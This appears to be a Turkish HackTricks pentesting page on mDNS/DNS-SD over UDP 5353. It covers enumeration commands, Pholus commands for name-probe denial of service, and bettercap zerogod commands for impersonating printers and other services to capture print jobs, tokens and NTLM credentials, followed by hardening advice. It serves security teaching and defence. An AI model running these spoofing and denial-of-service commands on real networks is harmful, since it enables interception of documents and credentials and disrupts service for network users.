5353/UDP Multicast DNS (mDNS) ve DNS-SD

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Multicast DNS (mDNS), tekil bir DNS sunucusu olmadan yerel bir bağlantı içinde DNS benzeri ad çözümü ve hizmet keşfi sağlar. UDP/5353 ve çoklu adresler 224.0.0.251 (IPv4) ve FF02::FB (IPv6) kullanır. DNS Hizmet Keşfi (DNS-SD, genellikle mDNS ile birlikte kullanılır) PTR, SRV ve TXT kayıtları aracılığıyla hizmetleri listelemek ve tanımlamak için standart bir yol sağlar.

PORT     STATE SERVICE
5353/udp open  zeroconf

Anahtar protokol detayları, saldırılar sırasında sıkça kullanacağınız:

  • .local alanındaki isimler mDNS aracılığıyla çözülür.
  • QU (Query Unicast) biti, çoklu yayın soruları için bile tekil yanıtlar talep edebilir.
  • Uygulamalar, yerel bağlantıdan kaynaklanmayan paketleri göz ardı etmelidir; bazı yığınlar hala bunları kabul eder.
  • Sondalama/duyurma, benzersiz ana bilgisayar/hizmet isimlerini zorlar; burada müdahale etmek DoS/"isim işgali" koşulları yaratır.

DNS-SD hizmet modeli

Hizmetler, .local altında _._tcp veya _._udp olarak tanımlanır, örneğin _ipp._tcp.local (yazıcılar), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) vb. _services._dns-sd._udp.local ile türleri keşfedin, ardından keşfedilen örnekleri SRV/TXT/A/AAAA'ya çözün.

Ağ Keşfi ve Sayımı

  • nmap hedef taraması (bir ana bilgisayarda doğrudan mDNS):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap yayın keşfi (segmenti dinleyin ve tüm DNS-SD türlerini/örneklerini sayın):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Hizmet türlerini listele
avahi-browse -bt _services._dns-sd._udp
# Tüm hizmetleri tarayın ve ana bilgisayar/port'a çözün
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Tüm HTTP hizmetlerini tarayın
dns-sd -B _http._tcp
# Hizmet türlerini sayın
dns-sd -B _services._dns-sd._udp
# Belirli bir örneği SRV/TXT'ye çözün
dns-sd -L "My Printer" _ipp._tcp local
  • tshark ile paket yakalama:
bash
# Canlı yakalama
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Sadece DNS-SD hizmet listesi sorgularını
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

İpucu: Bazı tarayıcılar/WebRTC, yerel IP'leri maskelemek için geçici mDNS ana bilgisayar adları kullanır. Eğer ağda rastgele-UUID.local adayları görüyorsanız, bunları mDNS ile çözerek yerel IP'lere geçiş yapın.

Saldırılar

mDNS isim sondalama müdahalesi (DoS / isim işgali)

Sondalama aşamasında, bir ana bilgisayar isim benzersizliğini kontrol eder. Sahte çelişkilerle yanıt vermek, yeni isimler seçmesini veya başarısız olmasını zorlar. Bu, hizmet kaydını ve keşfini geciktirebilir veya engelleyebilir.

Pholus ile örnek:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Servis sahteciliği ve taklit (MitM)

Rekabetçi DNS-SD hizmetlerini (yazıcılar, AirPlay, HTTP, dosya paylaşımları) taklit ederek istemcileri sizinle bağlantı kurmaya zorlayın. Bu özellikle şunlar için faydalıdır:

  • _ipp._tcp veya _printer._tcp'yi taklit ederek belgeleri yakalamak.
  • İstemcileri token/cookie toplamak veya yükler iletmek için HTTP/HTTPS hizmetlerine çekmek.
  • Windows istemcileri taklit edilen hizmetlere kimlik doğrulaması yaparken NTLM iletim teknikleri ile birleştirmek.

bettercap’in zerogod modülü (mDNS/DNS-SD sahtecisi/taklitçisi) ile:

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Ayrıca genel LLMNR/NBNS/mDNS/WPAD sahtecilik ve kimlik bilgisi yakalama/iletim iş akışlarına bakın:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Son uygulama sorunları hakkında notlar (engellemeler/süreklilik için yararlıdır)

  • Avahi erişilebilirlik-iddası ve D-Bus çökme hataları (2023), avahi-daemon'u Linux dağıtımlarında sonlandırabilir (örneğin, CVE-2023-38469..38473, CVE-2023-1981), hedef ana bilgisayarlarda hizmet keşfini kesintiye uğratır.
  • Cisco IOS XE Kablosuz LAN Kontrolörü mDNS geçidi DoS (2024, CVE-2024-20303), komşu saldırganların yüksek CPU kullanımı sağlamasına ve AP'leri koparmasına olanak tanır. VLAN'lar arasında bir mDNS geçidi ile karşılaşırsanız, hatalı veya yüksek hızlı mDNS altında kararlılığına dikkat edin.

Savunma dikkate alımları ve OPSEC

  • Segment sınırları: 224.0.0.251/FF02::FB'yi güvenlik bölgeleri arasında yönlendirmeyin, mDNS geçidi açıkça gerekli olmadıkça. Keşfi köprülemek zorundaysanız, izin listelerini ve hız sınırlamalarını tercih edin.
  • Windows uç noktaları/sunucular:
  • mDNS üzerinden ad çözümlemesini zorla devre dışı bırakmak için kayıt defteri değerini ayarlayın ve yeniden başlatın:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Yönetilen ortamlarda, yerleşik “mDNS (UDP-In)” Windows Defender Güvenlik Duvarı kuralını devre dışı bırakın (en azından Alan profilinde) böylece ev/gezinme işlevselliğini korurken gelen mDNS işlemesini engelleyin.
  • Daha yeni Windows 11 sürümlerinde/GPO şablonlarında, “Bilgisayar Yapılandırması > Yönetim Şablonları > Ağ > DNS İstemcisi > çoklu yayın DNS (mDNS) protokolünü yapılandır” politikasını kullanın ve Devre Dışı olarak ayarlayın.
  • Linux (Avahi):
  • Gerekmediğinde yayınlamayı kısıtlayın: disable-publishing=yes ayarlayın ve /etc/avahi/avahi-daemon.conf dosyasında allow-interfaces= / deny-interfaces= ile arayüzleri kısıtlayın.
  • check-response-ttl=yes kullanmayı düşünün ve kesinlikle gerekli olmadıkça enable-reflector=yes kullanmaktan kaçının; yansıtma sırasında reflect-filters= izin listelerini tercih edin.
  • macOS: Belirli alt ağlar için Bonjour keşfi gerekmediğinde, ana bilgisayar/ağ güvenlik duvarlarında gelen mDNS'yi kısıtlayın.
  • İzleme: _services._dns-sd._udp.local sorgularında olağandışı artışlar veya kritik hizmetlerin SRV/TXT'lerinde ani değişiklikler için uyarı verin; bunlar sahtecilik veya hizmet taklidi göstergeleridir.

Araçlar hızlı referans

  • nmap NSE: dns-service-discovery ve broadcast-dns-service-discovery.
  • Pholus: aktif tarama, ters mDNS taramaları, DoS ve sahtecilik yardımcıları.
bash
# Pasif dinleme (zaman aşımı saniyeleri)
sudo python3 pholus3.py <iface> -stimeout 60
# Hizmet türlerini listele
sudo python3 pholus3.py <iface> -sscan
# Genel mDNS istekleri gönder
sudo python3 pholus3.py <iface> --request
# Bir alt ağın ters mDNS taraması
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: mDNS/DNS-SD hizmetlerini keşfetme, kaydetme, duyurma ve taklit etme (yukarıdaki örneklere bakın).

Sahtecilik/MitM

Bu hizmet üzerinden gerçekleştirebileceğiniz en ilginç saldırı, istemci ile gerçek sunucu arasındaki iletişimde bir MitM gerçekleştirmektir. Hassas dosyaları (yazıcı ile iletişimi MitM) veya hatta kimlik bilgilerini (Windows kimlik doğrulaması) elde etme şansınız olabilir.
Daha fazla bilgi için kontrol edin:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin